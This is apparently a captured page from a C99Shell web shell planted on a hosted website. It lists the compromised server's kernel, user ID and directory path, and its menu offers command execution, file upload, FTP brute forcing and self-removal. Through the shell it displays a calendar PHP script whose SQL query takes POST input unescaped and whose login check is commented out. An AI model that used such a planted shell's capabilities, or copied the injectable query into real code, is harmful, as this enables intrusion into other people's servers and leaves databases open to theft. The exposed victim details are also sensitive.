!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/5.6.40 

uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24
01:42:00 EDT 2020 x86_64
 

uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) 

Safe-mode: OFF (not secure)

/home/cp949260/public_html/mophlawyer.com/ladiesmoph/moph_admin/api_calendar/   drwxr-xr-x
Free 237.41 GB of 981.82 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     show_calendar.php (660 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
ob_start
();
session_start();
// if (!$_SESSION['fullname']) {
//     header("location: index.php");
// }

header('Content-Type: application/json');
require_once(
'../includes/db.php');

$start = isset($_POST['start']) ? $_POST['start'] : '';
$end = isset($_POST['end']) ? $_POST['end'] : '';

$resultArray = array();
$result $conn->prepare("SELECT * FROM tbl_calendar WHERE start BETWEEN '$start' AND '$end' OR end BETWEEN '$start' AND '$end'  ORDER BY start ASC");
$result->execute();

if (
$result->rowCount() > 0) {
    while (
$val $result->fetch(PDO::FETCH_ASSOC)) {
        
array_push($resultArray$val);
    }
}

echo 
json_encode($resultArray);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0914 ]--